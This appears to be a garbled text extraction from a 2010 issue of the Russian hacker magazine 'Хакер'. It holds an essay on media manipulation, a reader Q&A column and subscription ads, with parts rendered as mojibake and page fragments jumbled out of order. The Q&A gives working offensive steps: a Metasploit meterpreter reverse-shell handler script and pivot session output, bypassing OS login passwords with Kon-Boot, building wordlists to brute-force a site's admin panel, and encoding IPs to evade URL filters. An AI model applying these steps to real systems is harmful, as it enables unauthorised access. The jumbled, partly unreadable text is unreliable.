в сериале была в основном в первых сериях, 
когда Белый заслушивался игрой на скрипке. 
Хотя… визит к врачу с ребенком в то время, как 
возле больницы вот-вот начнется перестрелка 
— чем не романтика? Кстати, обрати внимание 
на еще один момент. В одной из первых серий 
показан эпизод, где Белый бьется с Мухой. Бой 
длится достаточно долго, хотя, если есть опыт, 
ты знаешь — несколькими ударами такой силы 
человек вырубается практически сразу. Но мы 
смотрим эту сцену 5-7 минут, удары обруши-
ваются один за другим, а участники поединка 
все еще целы и бодры духом. И возникает ощу-
щение, что можно драться бесконечно долго, 
и максимальными последствиями будут не-
сколько синяков и разбитый нос. Притупляется 
чувство опасности, и в реальной жизненной 
ситуации это может стать фатальным.
Исход сериала мы все хорошо помним. Но в 
гибели героев тоже есть небольшой секрет. С 
одной стороны, понимаешь, что к насильствен-
ной смерти привел именно беспорядочный и 
рискованный образ жизни. С другой стороны, 
смерть была чуть ли не геройской, следова-
тельно, появляется ощущение: то, за что они 

UNITS

 134  

Новое поколение — новые 
ценности

XÀÊÅÐ  06  /137/  10

Èìåííî íîâûå àâòîðèòåòû — ñîöèàëüíûå àãåíòû — 
ñëóæàò òîìó, ÷òî ìû íàçûâàåì «÷åðíûì èñêóññòâîì 
ðàñòëåíèÿ äóø». Ïðè÷åì ñ ýêðàíîâ òåëåâèçîðîâ, ñî 
ñòðàíèö æóðíàëîâ è áèãáîðäîâ ìû ðåäêî óâèäèì ïðÿ-
ìîé ïðèçûâ ê àìîðàëüíûì ïîñòóïêàì è ðåøåíèÿì. 
Âíóøåíèå èäåò íåïðÿìûì, íåìíîãî çàâóàëèðîâàííûì 
ñïîñîáîì.



погибли — это подвиги. Тогда многие под-
ростки под влиянием юношеского максима-
лизма торжественно клялись продолжать дело 
Пчелы, Фила и Космоса.
А вот несколько ярких комментариев фанатов 
сериала на одном киносайте:
«…Я очень очень-очень сильно обожаю и 
люблю сериал Бригада, он очень суперский… 
жизненный и поучительный… Он учит смыслом 
тому, что надо именно вот так вот дружить, как в 
этом фильме, друг за друга… и если что, то у них 
руки у всех в крови… они показали себя, как 
надо быть вместе до конца и за друг друга могут 
горы свернуть…».
«…Правильны слова о том, что восхищаться 
можно только игрой актеров, так как сами пер-
сонажи этого фильма отморозки и бандюки, 
но извините, сердцу не прикажешь, сама пони-
маю, что это неправильно, но что поделать? Я 
люблю бандитов, по моему мнению, они очень 
сексуальны…»
Теперь понятно, в чем еще один секрет? В 
сексуальности и профессионализме актеров. 
И действительно, все четверо — гламурные 
красавчики в черных пальто, начищенных 
туфлях, с пистолетами, при деньгах, с четкой 
мимикой и жестикуляцией, с живыми эмоция-
ми. Образец подражания для мальчиков, пред-
мет восхищения для девочек. Так на сверх-
сознательном уровне появляется установка, 
что «бабки, тачки и телки» есть у тех, кто может 
ограбить, убить, отобрать силой и с помощью 
оружия. Все быстро, весело и с адреналином. 
У девочек тоже возникает дилемма: серый и 
однообразный офисный менеджер или яркий 
парень, способный на такие рискованные и 
романтичные поступки, да еще с деньгами. Од-
нако, как показывает практика, романтичность 
— это всего лишь ложка меда в бочке дегтя.

Äîì 2
Его тоже нельзя обойти вниманием, так как 
аудитория очень многочисленна, и большин-
ство зрителей — это дети и подростки. Кто-то 
получает за счет проекта знаменитость, кто-то 
— прибыль, а кто-то — деструктивные шаблоны 
отношений мужчин и женщин. И последних, к 
сожалению, несравнимо больше.

Он настоящий. А ты — нет Гламурные головорезы смогли 
влюбить в себя все постсоветское 
пространство

Ощутив такую свободу, на 
меньшее ты уже не согласен. 
А дальше — куда?
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Ôîëê-õèñòîðè
Еще один способ более высокого уровня влия-
ния на массовое сознание и даже менталитет. 
Он очень часто используется в политических 
целях: сепарация групп людей (для уменьше-
ния их сопротивляемости) или их объединение 
(для того, чтобы легче, без военных действий, 
получить власть над большим количеством 
этих самых людей). Это псевдоистория или 
фолк-хистори.
Работы, написанные в научном стиле, однако 
не являющиеся подлинно научными. Такие 
труды создаются с конкретной целью — запу-
тать, исказить исторические факты, изменить 
видение произошедшего, выставляя все 
в ином свете. Делается это чаще всего для 
защиты действующей власти или обвинения 
свергнутой системы правления. Например, 
фашистская оккупация выглядит не как агрес-

сивный захват мирных территорий, а как отпор 
и укрощение повстанцев.
Происходит смена восприятия событий с по-
мощью конкретных приемов:
• через подмену понятий, например: «мирное 
население» — «бунтари»;
• через «подкидывание» вновь открывшихся 
фактов, которые появились неизвестно откуда, 
например: «…Из рукописей, частично уцелев-

ших в сгоревшей библиотеке хутора Мамаевка 
Ставропольского края, исследователи с трудом 
расшифровали надписи, которые говорят нам 
о новых фактах… (ну и далее по тексту)»;
• и особенно — через двоякое толкование 
одного и того же события, например: турецкий 
геноцид армян и их принудительная эвакуация 
в условиях военных действий. Факт один и тот 
же, но насколько меняется к нему отношение, 
если дать разные названия! Та же история с 
Саласспилским лагерем в Латвии, который 
однажды вдруг стал «воспитательно-трудовым 
учреждением закрытого типа». От «трудового 
воспитания» тысячами умирали люди, в том 
числе — дети.
История — неточная наука, строящаяся в 
основном на субъективных толкованиях и 
воспоминаниях очевидцев. Но, как ты пони-
маешь, показания агрессора и жертвы всегда 
будут разными. Даже историки и архивариусы 
говорят о том, что одно и то же событие опи-
сывается в разных источниках по-разному. И 
это очень играет на руку тем, кто у руля. При 
советской власти учебники называли воинов 
Украинской повстанческой армии голово-
резами, власть сменилась — и они стали 
национальными героями. Что же происходило 
на самом деле? Есть объективный факт: они 
нападали на людей и убивали их. И вот здесь 
самое интересное: приписав им определенную 
мотивацию, мы делаем их либо жестокими 
убийцами, либо защитниками своей родины. 
Через 20 лет, если придет другая власть, при-
нудительно сменится и подоплека историчес-
ких фактов.
И все это печатается в школьных учебниках 
истории. Большинство детей и подростков 
принимают все на веру только потому, что 
информация идет из официального источника, 
утвержденного Министерством образования. 
И вряд ли школьники идут в архивы перепро-
верять исторические «факты», поданные в 
книгах. Теперь понимаешь, почему учебники 
так часто переиздаются?
Так что будь уверен, что любое историческое 
преступление против своего народа спустя 
пару десятилетий может превратиться в 
героический подвиг. Или наоборот. И чем 
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Купающийся в викодине 
«больной ублюдок» (дословный 
перевод). Не правда ли, хороший 
пример для подражания?

ÝÊÑÏÅÐÈÌÅÍÒÛ ÍÀÄ ÏÐÈÑßÆÍÛÌÈ

Как показывает практика, мужчинам свойственно более быстрое привыкание к жестокости 
по сравнению с женщинами. Но при этом сексуальные насильники имеют шанс получить 
более легкое наказание, чем следовало бы. К такому выводу пришли ученые в результате 
ряда экспериментов. Оказывается, если перед заседанием или во время него часто пока-
зывать присяжным (мужчинам) фрагменты порно или сцены сексуального характера (а это 
можно сделать неотъемлемой частью судебного процесса по делам об изнасилованиях, 
остается только придумать, как их эффектно подать), то приговор будет мягче.
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больше времени прошло с момента события, 
тем меньше шансов узнать, что же произошло 
на самом деле…

Êòî, çà÷åì è äëÿ ÷åãî?
Вот мы и подошли к основному вопросу: кому и 
для чего это нужно? Чтобы понять, для чего, да-
вай подведем итоги — какие качества, образы, 

приоритеты декларируются и скрыто пропаган-
дируются? Жестокость, наркомания, дости-
жение своих целей обманом, силой, оружием, 
слишком открытая демонстрация сексуальных 
отношений, провокация на «слабо», кричащая 
эпатажность, агрессия, хождение по головам, 
продажа себя, своих принципов ради денег или 
славы, создание идолов…
Теперь можно подробнее разобрать последст-
вия изменений в общественном настрое.
Жестокость, агрессия, высмеивание близких, 
доверительных, теплых отношений — все это 
приводит к сепарации, дистанцированию 
людей друг от друга. Вспоминаем принцип 
управления «Разделяй и властвуй».
Желание быть в центре внимания, престиж, 
положение в обществе, материальное благо-
состояние — это те стимулы, которые застав-
ляют многих людей идти на жертвы. Вспомни 
фильм «20 сигарет»: перед главным героем 
стоит выбор — предать друга и получить хоро-
шую должность или сохранить дружбу и быть 
уволенным. С учетом того, что вот-вот должна 
родить жена, и ей с ребенком потребует ся 
забота, в том числе и материальная, выбор 
очень нелегкий. И какой бы выбор он не сделал, 
у него все равно останется чувство вины. В 
принципе, можно было и дружбу сохранить, и 
семью обеспечить. Но представим дальнейшее 
развитие событий: счастливый главный герой 
продолжает работать в компании, получая 
новый опыт, растет в профессиональном плане. 
У него хороший друг, замечательная семья. 
Рано или поздно он достигнет потолка, и ему 
захочется большего. Вполне вероятно, что он 
откроет свой бизнес и составит конкуренцию 

действующему руководству компании. Счаст-
ливым и психологически целостным человеком 
практически невозможно управлять. Поэтому 
манипуляторы ставят жертву перед тяжелым 
выбором, в результате которого они получают 
то, что хотят, а человек остается в разбитом 
душевном состоянии.
Погоня за кайфом, удовольствием, экстримом 

— это как наркотик. Ты к нему привыкаешь, 
и через некоторое время уже хочется чего-
нибудь сильнее вставляющего. Чем дальше, 
тем больше. Прежние развлечения уже не при-
носят кайфа, приходится искать что-то более 
изощренное, эксклюзивное… и дорогое. После 
дворовых качелей американские горки — это 
просто бомба! Но после прыжка с парашютом 
в свободном падении с высоты 4000 метров 
веселые горки кажутся детским садом… И вся 
жизнь превращается в гонку за чем-то новым. В 
мечтах об очередной «новинке» или полете на 
катапульте многие из нас забывают, что гормо-
ны счастья — эндорфины — можно получить не 
только в погоне за экстримом, но и с помощью 
обычных человеческих радостей.
Как видишь, практически все способы влияния 
направлены на то, чтобы свести к минимуму то 
человечное, что в нас есть: нашу душу, нашу 
мораль, нашу совесть. А что есть человек без 
души? Робот, зомби, марионетка… Неважно, 
как мы это назовем, важна суть. А в чем суть — 
ты понимаешь и сам.
Вопрос второй: кому и зачем все это нужно? 
Логику проследить несложно: подкармливая 
среднестатистического обывателя сенсациями, 
новыми привлекательными образами, вовлекая 
его в авантюры, расследования, обещая новые 
крышесрывающие ощущения, различные 
печатные и интернет-издания, ТВ-шоу и сайты 
таким образом располагают к себе читателей 
и зрителей. Основная суть в том, что все это 
вызывает зависимость. И чем более широкую 
аудиторию удается зомбировать — тем выше 
рейтинг. Чем выше рейтинг — тем больше при-
влекательность для рекламодателя. Чем больше 

рекламодателей претендуют на эфирное время 
— тем оно дороже. Чем дороже рекламное место 
— тем выше прибыль канала (газеты, сайта), что 
неминуемо грозит повышением зарплат сотруд-
ников, и в частности, администрации.
И еще один момент, о котором не стоит забывать 
— это спонсоры и идеи, которые они диктуют. 
Именно эти невидимые серые кардиналы пыта-
ются с помощью масс-медиа превратить людей 
в марионеток, чтобы потом управлять ими, 
используя в качестве рычагов телевидение, 
прессу и интернет.

Êàê íå ïîääàòüñÿ
ñîáëàçíó?
Наше детство уже далеко позади. Но это не 
гарантия того, что мы не подвержены влиянию, 
идущему с мониторов и экранов телевизоров. 
Мы — взрослые, и у нас тоже есть интересы. 
Масс-медиа охотно удовлетворяет их, диктуя 

при этом свои правила. Как противостоять 
информации, влияющей на наше бессознатель-
ное?
1. Анализируй. Когда ты видишь на экране 
нового героя, который нравится практически 
всем, задумайся — за счет каких качеств он 
привлекает людей? В чем его эффективность, 
в чем деструкция? Если очень хочется на-
следовать доктора Хауса, проанализируй: что 
именно тебя привлекает (или чего не хватает): 
привязанность к наркотикам, мизантропия 
или все-таки высокий интеллект и умение им 
пользоваться?
2. Чувствуй. Если с монитора маленький чер-
ный человечек типа мистера Фримена саркас-
тичным голосом подводит тебя к мысли, что ты 
живешь не так — почувствуй себя. Чего именно 
ты хочешь? Действительно выбросить свой 
винчестер и подарить мобильный телефон? 
Или ты просто боишься ударить лицом в грязь, 
не ответив на вызов «А тебе слабо…?». Ведь это 
банальная форма манипуляции. С помощью 
псевдологических конструкций можно вбить в 
голову что угодно. Не забывай об этом. А теле-
фон и винчестер оставь себе — они пригодятся 
больше, чем доказывание неизвестно кому, что 
ты не тряпка.
3. Оставайся человеком, который сам выби-
рает свои желания и создает свои планы на бу-
дущее. Будь уверен в своих действиях и своих 
решениях. Акцент на слове «своих». И тогда у 
манипуляторов будет гораздо меньше шансов 
тобой управлять.
4. Читай журнал «Хакер». Как показали ис-
следования, люди с IT’шным складом ума реже 
поддаются манипуляциям :).z
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×ÒÎ ÒÀÊÎÅ «ÂÈÊÎÄÈÍ» ÍÀ ÑÀÌÎÌ ÄÅËÅ?

Викодин — наркотическое обезболивающее средство, содержащее гидрокодон и параце-
тамол. Длительный прием в больших дозах может вызвать слабую эйфорию, а в дальней-
шем — болезненное пристрастие. Возможны побочные эффекты: аллергические реакции, 
припадки, липкая кожа, гипервентиляция, потеря сознания, пожелтение глаз или кожи, 
кровотечения, гематомы, констипация, сухость во рту, тошнота, рвота, пониженный аппе-
тит, мышечные судороги, потоотделение, приливы, зуд, звон в ушах, полная потеря слуха, 
затрудненное мочеиспускание и снижение сексуального влечения.

 Ïðè ñîâåòñêîé âëàñòè ó÷åáíèêè íàçûâàëè âîèíîâ 
Óêðàèíñêîé ïîâñòàí÷åñêîé àðìèè ãîëîâîðåçàìè, 
âëàñòü ñìåíèëàñü — è îíè ñòàëè íàöèîíàëüíûìè 
ãåðîÿìè.
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Q: Подскажи, как можно автоматизировать 

такую рутинную работу как установка LHOST, 

LPORT, PAYLOAD и других параметров в 

Metasploit Framework, чтобы не приходилось 

каждый раз заново вводить их руками.

A: Действительно, каждый раз вручную зада-
вать одни и те же параметры не совсем удобно. 
К счастью, в Metasploit Framework есть воз-
можность для автоматизации — это файлы ре-
сурсов. На самом деле файлы ресурсов пред-
ставляют собой обычные скрипты, в которых 
прописывается все необходимое. С недавнего 
времени в файлы ресурсов можно вставлять 
целые блоки кода на Ruby. Если создать скрипт 
с именем msfconsole.rc и положить его в 
директорию ~/.msf3/msfconsole.rc, то он будет 
автоматически загружаться каждый раз при 
запуске msfconsole. Это идеальный способ ав-
томатической установки основных параметров 
(exploit, PAYLOAD, LPORT, LHOST и т.д.). Для 
того, чтобы понять, как создать файл ресурсов, 
советую тебе разобрать демонстрационный 
пример — documentation/msfconsole_rc_ruby_
example.rc
Если запустить его с помощью команды $ ./
msfconsole -r documentation/msfconsole_rc_

ruby_example.rc, то он автоматически устано-
вит все параметры и запустит эксплойт.

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

use exploit/multi/handler

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

set PAYLOAD windows/meterpreter/

reverse_tcp

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

set LPORT 4444

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

set LHOST 192.168.0.228

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

set ExitOnSession false

resource (documentation/

msfconsole_rc_ruby_example.rc)> 

exploit -j

Кстати, разработчик Metasploit HD Moore 
пообещал в скором времени показать миру 
Metasploit Express — графическую оболочку 

для управления метасплойтом. Жаль только, 
что продукт будет платным.

Q: С помощью Metasploit получил доступ к 

удаленной машине. Подскажи, можно ли как-

то затуннелировать трафик через Metasploit 

сессию?

A: Да, в Metasploit есть такая возможность. 
Представим, что мы получили доступ с 
машины 10.1.1.1 на 10.1.1.128. Выглядит это 
примерно так:

[*] Meterpreter session 1 opened 

(10.1.1.1:4444 -> 10.1.1.128:1238)

meterpreter > run get_local_subnets 

Local subnet: 

10.1.1.0/255.255.255.0

meterpreter > background 

msf exploit(ms08_067_netapi) > 

route add 10.1.1.0 255.255.255.0 1

msf exploit(ms08_067_netapi) > 

route print

Active Routing Table

====================

UNITS
Антон «ant» Жуков
Степан Ильин

faq
united

@real.xakep.ru
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 Subnet     Netmask           Gateway

 ------     -------           -------

 10.1.1.0  255.255.255.0  Session 1

Теперь весь трафик, посылаемый в 10.1.1.0 
подсеть, будет туннелироваться через 
Metasploit-сессию. Есть еще более простой 
способ — использовать плагин auto_add_
route:

msf exploit(ms08_067_netapi) > load 

auto_add_route 

[*] Successfully loaded plugin: 

auto_add_route

msf exploit(ms08_067_netapi) > 

exploit

Фишка в том, что при удачном срабатывании 
сплойта автоматически добавляется соот-
ветствующее параметрам сессии правило 
роутинга.

Q: Как можно отслеживать все изменения в 

сети: появление новых устройств, изменения в 

конфигурации хостов (появление новых откры-

тых/закрытых портов)?

A: В этом может помочь всем известный 
Nmap. Если ты обращал внимание, среди 
списка его опций есть такая: 

OUTPUT:

  -oN/-oX/-oS/-oG <file>: Output 

scan in normal, XML, s|<rIpt 

kIddi3, and Grepable format, 

respectively, to the given 

filename.

Опция -oX <имя_файла> (output XML) опреде-
ляет, в какой XML-файл сохранять результаты 
сканирования. Просканировав сеть два 
раза и сохранив результаты в XML-файлах, 
можно просмотреть изменения при помощи 
утилиты NDiff, входящей в Nmap. Посмотрим, 
к примеру, что изменилось после повторного 
сканирования одного из хостов сети:

$ ndiff -v scanme-1.xml scanme-2.

xml

-Not shown: 95 filtered ports

+Not shown: 993 filtered ports

 PORT      STATE  SERVICE VERSION

 22/tcp    open   ssh

 25/tcp    closed smtp

 53/tcp    open   domain

+70/tcp    open gopher

 80/tcp    open   http

 113/tcp   closed auth

+31337/tcp open Elite

Соответственно, плюсом отмечено то, что 
добавилось, а минусом — то, что ушло. Таким 
образом, видно, что появились новые откры-
тые порты 70 и 31337. Все то же самое можно 
проделать и с помощью GUI-фронтенда для 
Nmap — Zenmap.

Q: Как можно обойти защиту паролем на вход в 

операционную систему?

A: Такая задача встречается довольно часто. 
Существуют специальные утилиты, позволяю-
щие сбросить пароль или просто войти в сис-
тему с любым пассом. Можно воспользоваться 
утилитой Kon-Boot (www.piotrbania.com/all/
kon-boot). Схема работы проста: с официаль-
ного сайта загружаем образ для Floppy/CD/
USB и создаем загрузочный диск/дискету/
флешку. Загружаемся с нее и в появившем-
ся меню выбираем первую опцию — «1st 
Kon-Boot». Ждем, при повторном появлении 
меню выбираем опцию «2nd try boot from 
drive C: as hd1». Если не удалось загрузить 
hd1 — выбираем hd2 и т.д. Если необходимо 
войти в Linux — логинимся как пользователь 
kon-usr, а для входа в Windows сойдет любое 
действительное имя пользователя с любым 
паролем (можно пустым). На данный момент 
с помощью этой программки можно зайти как 
в Windows (поддерживает все версии вплоть 
до семерки), так и в Linux (к сожалению, пока 
еще не все дистрибутивы).

Q: Подбираю пароль к админке сайта. Исполь-

зовал уже все возможные словари, и пока 

никак. Похоже, словарик придется составлять 

самому — как это автоматизировать?

A: Иногда бывает полезно составить словарь 
для конкретного сайта, так как зачастую поль-
зователи используют в пароле сочетания, 
связанные с его тематикой или даже названи-
ем. В первую очередь надо пропарсить кон-
тент сайта и собрать слова. В этом деле очень 
пригодится утилита CeWL (Custom Word List 
generator — www.digininja.org). Написанный 
на Ruby паук обходит весь сайт до заданной 
глубины (по умолчанию равной 2) и составля-
ет список часто используемых слов. Следует 
обратить внимание на следующие опции:
• depth — глубина сканирования;
• min_word_length — минимальная длина 
слова;
• write — имя файла для сохранения резуль-
татов.
После этого полученный список слов надо 
скормить John The Ripper, чтобы он немного 
разнообразил их, добавив цифры и изменив 
в некоторых местах регистр (все это пропи-
сывается в правилах). Легко и эффективно 
составить правила поможет другая утилита 
— JTR Config Maker (sites.google.com/site/
reusablesec2/jtrconfiggenerator).

Q: Как посмотреть в Linux список недавно 

модифицированных файлов?

A: Для того, чтобы посмотреть список файлов, 
которые недавно изменились, достаточно 
запомнить несколько полезных ключей для 
команды ls. Так, «ls –ltr» выдаст информа-
цию об измененных файлах в текущей папке. 
Чтобы увидеть недавно модифицированные 
файлы всей файловой систем, можно исполь-
зовать команду: find /etc -type f -printf "%T@ 
%T+ %p" | sort -n.

Q: Как из-под Linux удаленно выключить вин-

довую машину?

A: Удаленная Windows-машина может быть 
легко выключена, если у тебя стоит Samba, 
и есть аккаунт с достаточными правами на 
машине с Windows. Делается это с помощью 
механизма удаленного вызова процедур: net 
rpc shutdown -S thehostname -U theusername, 
где thehostname — имя удаленного узла или 
его IP-адрес. Кроме того можно передать 
дополнительные параметры, используе-
мые утилитой shutdown в Windows: net rpc 
shutdown -S thehostname -U theusername -f -t 
60 (установить таймаут в 60 секунд и прину-
дительно закрыть все приложения перед 
выключением).

Q: Можно ли как-то обмануть URL-фильтры?

A: Современные браузеры могут восприни-
мать URL не только в десятичной системе, но 
также в 8-ричной и 16-ричной, и даже единым 
32-битным числом. Таким образом URL типа 
66.102.13.19 можно представить следующими 
способами:
http://0x42.0x66.0x0d.0x63

http://0x42660d63

http://1113984355

http://00000102.00000146.00000015.00000143

Если кликнуть по любому из вариантов, 
попадешь на google.com. На самом деле эта 
техника не нова и известна уже давно. Но, как 
показывает практика, некоторые производи-
тели антивирусного ПО про нее подзабыли, и 
их продукты, блокирующие ссылку в нормаль-
ном виде, пропускают 8-, 16- или 32-ричный 
IP-адрес. Преобразовать IP из одного фор-
мата в другой поможет онлайн-сервис www.
csgnetwork.com/ipaddconv.html.

Q: Как реализовать  обмен трафиком между 

машинами, находящимися за разными NAT-

серверами?

A: Когда один из двух компьютеров находит-
ся за NAT, реализовать свободный обмен 
трафиком между ними уже затруднительно. 
Когда за NAT’ом оказываются сразу два учас-
тника обмена, то задача усложняется вообще 
в разы. К счастью, выход есть. Благодаря 
программе Pwnat любое количество клиентов, 
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находящихся за одним NAT-сервером, может 
соединяться с хостом, стоящим за другим NAT, 
при этом не требуется проброска портов на 
серверах и использование прочих инстру-
ментов. Все это без каких-либо посредников, 
спуфинга, трюков с DNS и технологий UPnP/
STUN/ICE — исключительно ноу-хау разра-
ботчиков.
Общий синтаксис для запуска имеет несколь-
ко ключей: ./pwnat <-s | -c> <args>, где -s, -c 
соответственно означают «клиент» и «сер-
вер». Для «клиента» надо указать следующие 
аргументы:

<args>: [local ip] <local 

port> <proxy host> [proxy port 

(def:2222)] <remote host> <remote 

port>

Для сервера, помимо прочего, можно указать 
доверенные хосты и порты:

 <args>: [local ip] [proxy 

port (def:2222)] [[allowed 

host]:[allowed port] ...]

Q: Как разобраться, почему только что установ-

ленная семерка свалилась в BSOD?

A: Чтобы не ковыряться в странных аббреви-
атурах и дампах, которые создает винда при 
падении, лучше поставить небольшую, но зато 
очень полезную утилиту WhoCrashed (www.
resplendence.com/whocrashed). Вот она-то и 
расскажет, кто свалил систему. Али драйвер 
какой, али программа, али еще что-нибудь. 
Так или иначе, будет указано название конк-
ретного модуля, его расположение на диске, 
название ошибки, описание программы с ука-
занием разработчиков (берегитесь!). Послед-
няя версия как раз поддерживает «семерку», 
причем как 32-, так и 64-битную версии.

Q: Будущая версия Visual Studio будет поддер-

живать странный язык C++0x. Как вы к нему 

относитесь?

A: Ну, это не совсем язык программирования, 
а скорее новый, переработанный стандарт 
привычного C++. Поскольку уже опубликован 
финальный черновик (draft-версия), можно 
с уверенностью сказать: проект попрет. К 
тому же, в новой VS2010 действительно уже 
реализованы многие из заявленных нововве-
дений C++. В блоге разработчиков даже есть 
сводная таблица, в которой перечислены те 
аспекты C++0x, которые уже поддерживает 
новая «студия». Благодаря новому стандар-
ту мы получим многие механизмы, которые 
уже давно используются в других языках. 
Например, лямбда-выражения, позволяющие 
упросить некоторые фрагменты кода, а также 

Rvalue-ссылки, позволяющие различить вре-
менные и постоянные объекты, увеличив тем 
самым производительность приложения. 

Q: Пользователям мобильных платформ я 

отдаю специально переработанную веб-стра-

ницу, в которой используется упрощенная 

верстка. Раньше определить такую категорию 

пользователей было легко, но теперь, с появле-

нием все новых и новых мобильных браузеров, 

это становится все сложнее и сложнее. Есть ли 

готовое решение, чтобы не тратить время на 

проверки вручную, заново изобретая велоси-

пед?

A: Проблема на самом деле не только в том, 
чтобы определить факт использования мо-
бильного устройства; сложнее понять, с каким 
девайсом имеешь дело, и на что он способен 
(разрешение, используемый браузер и т.д.). 
Свои наработки в этой области сделали 
доступными ребята из Яндекса, предоста-
вив всем доступ к их Яндекс.Детектору (api.
yandex.ru/detector/doc/dg/concepts/About.
xml). Работает это следующим образом. На 
«http://phd.yandex.net/detect/» отправляет-
ся специальный запрос, в ответ на который 
приходит XML-выдача с результатами опре-
деления модели и характеристик устройства. 
Дальше все зависит от тебя (можно сделать 
отдельные страницы для iPhone, Android или, 
скажем, Opera Mini). В своей работе сервис 
использует содержимое заголовков HTTP-за-
просов, передаваемых браузером мобильного 
устройства: profile, wap-profile, x-wap-profile, 
user-agent, x-operamini-phone-ua. Примеры 
использования на PHP/Perl доступны на 
официальном сайте.

Q: В Gmail'е наконец-то появилась возмож-

ность Drag'n'Drop'ом приаттачивать к письму 

файлы. Как они сделали это в веб-приложе-

нии? Нигде подобного больше не видел.

A: Это стало возможным за счет такой 
офигенной штуки HTML5 как FileAPI (www.
w3.org/TR/2009/WD-FileAPI-20091117). Это 
расширение возожностей JS в сторону работы 
с файлами. Теперь можно получать не только 
имена файлов, но и их MIME-тип, размер, а са-
мое главное — содержимое! Увы, как и любые 
технологии HTML5, они реализованы лишь в 
некоторых браузерах: поддерживают FileAPI 
лишь последние версии Firefox и Chrome. 
Полный код я приводить не буду, все нюансы и 
исходники доступны в замечательных статьях: 
javascript.ru/blog/Brmaley.ee/FileAPI, www.
kigorw.com/articles/dd-file.

Q: Один из хакерских плагинов для Firefox 

обновляется очень редко, а новые версии бра-

узера отказываются его подключать, ссылаясь 

на отсутствие совместимости. Как бы вырубить 

эту проверку?

A: Для этого есть свойство в about:config 
(специальная страница с тонкими на-
стройками браузера). Ищи "extensions.
checkCompatibility" и выставляй значение 
"false". Если такого ключа нет, то параметр 
нужно создать самому.

Q: Задача: периодически делать бэкап не-

скольких тысяч файлов с никсового сервера. 

Когда попробовал скачать все по FTP, стало 

ясно, что я скорее состарюсь — процесс идет 

очень медленно. Догадался предварительно 

подключаться по SSH и упаковывать файлы в 

один архив, но как бы это автоматизировать?

A: Если сервер поддерживает подключения 
по SFTP, то самый простой путь — написать 
несложный скрипт для WinSCP (winscp.net). 
Задача простая: упаковываем файлы на 
удаленном сервере, скачиваем архив к себе, 
удаляем его с сервера. Чтобы клиент каждый 
раз не просил данные для аутентификации, 
необходимо сохранить сессию со всеми необ-
ходимыми параметрами (назовем соединение 
AccountName). После подключения не забудь 
нажать Ctrl+T — должно появиться окно кон-
соли. Если этого не происходит, значит, у тебя 
нет доступа к шеллу, и ничего не выйдет. Если 
же все ОК, можно писать наш скрипт. 

option batch on

option confirm off

open AccountName

cd /home/step/

call tar -cz --exclude=*cache* -f /

home/step/tmp/FTP-backup-$(date 

+%Y-%m-%d).tgz ./public_html/

cd /home/rarst/tmp/

get -delete FTP-backup* "c:\My 

Dropbox\Backup\"

exit

Первые две строчки позволят скриптам 
выполняться автоматически без под-
тверждений пользователя. Команда open 
устанавливает соединение, которое ты 
предварительно создал (необходимо указать 
правильное имя). Далее выполняем ряд 
обычных никсовых команд по созданию 
архива с бэкапом и с помощью команды Get 
указываем, что файл надо скачать в локаль-
ную папку (в моем случае — Dropbox). Теперь 
необходимо добавить запуск WinSCP и на-
шего скрипта в планировщике (стандартный 
виндовый или, скажем, nnCron), чтобы тот с 
нужной периодичностью запускал WinSCP.
exe /console /script="backup.txt". Весь код 
скрипта, как ты, вероятно, догадался, сохра-
нится в файл backup.txt. z
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ÅÑÒÜ ÂÎÏÐÎÑÛ? Звони по бесплатным телефонам 
8(495)780-88-29 (для москвичей) и 8(800)200-3-999 
(для жителей других регионов России, абонентов 
сетей МТС, БиЛайн и Мегафон).

ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È ÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀ ÆÓÐÍÀË 
ÏÐÎÑÈÌ ÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ info@glc.ru

Çàìó÷èëèñÿ èñêàòü æóðíàë â ïàëàòêàõ è ìàãà-
çèíàõ? Íå õî÷åøü òðàòèòü íà ýòî âðåìÿ? Íå 
íàäî. Ìû ñàìè ïîòðàòèì âðåìÿ 
è ïðèâåçåì òåáå íîâûé âûïóñê Õ. 
Äëÿ æèòåëåé Ìîñêâû (â ïðåäåëàõ ÌÊÀÄ) 
äîñòàâêà ìîæåò îñóùåñòâëÿòüñÿ 
áåñïëàòíî ñ êóðüåðîì èç ðóê â ðóêè 
â òå÷åíèå òðåõ ðàáî÷èõ äíåé ñ ìîìåíòà
âûõîäà íîìåðà íà àäðåñ îôèñà èëè 
íà äîìàøíèé àäðåñ.

Еще один удобный способ оплаты 

подписки на твое любимое издание — в любом 

из 72 000 платежных терминалах QIWI (КИВИ) 

по всей России. 

прошу выслать бесплатный 
номер журнала

ÂÛÃÎÄÀ•ÃÀÐÀÍÒÈß•ÑÅÐÂÈÑ ÝÒÎ ËÅÃÊÎ!
1.  Разборчиво заполни подписной купон и 
квитанцию, вырезав их из журнала, сделав 
ксерокопию или распечатав с сайта 

   shop.glc.ru. 
2. Оплати подписку через любой банк.
3.  Вышли в редакцию копию подписных доку-
ментов — купона и квитанции — любым из 
нижеперечисленных способов: 

• ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;
• ïî ôàêñó 8 (495) 780-88-24;
• ïî àäðåñó 119021, Ìîñêâà, 
óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44, 
ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ! 
Подпиcка оформляется 
в день обработки купона и квитанции
с номера, выходящего через один
календарный месяц после оплаты.
Например, если произвести оплату в январе,
то подписку можно оформить с марта.

ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ:
2100 ÐÓÁ. ÇÀ 12 ÌÅÑßÖÅÂ 
1200 ÐÓÁ. ÇÀ 6 ÌÅÑßÖÅÂ

Единая цена по всей России. Доставка 
за счет издателя, в том числе курьером 
по Москве в пределах МКАД

ÁÓÄÜ ÓÌÍÛÌ! 
ÕÂÀÒÈÒ ÏÅÐÅÏËÀ×ÈÂÀÒÜ Â ÊÈÎÑÊÀÕ! 
ÑÝÊÎÍÎÌÜ 660 ÐÓÁ. ÍÀ ÃÎÄÎÂÎÉ ÏÎÄÏÈÑÊÅ!

ÃÎÄÎÂÀß 
ÏÎÄÏÈÑÊÀ 
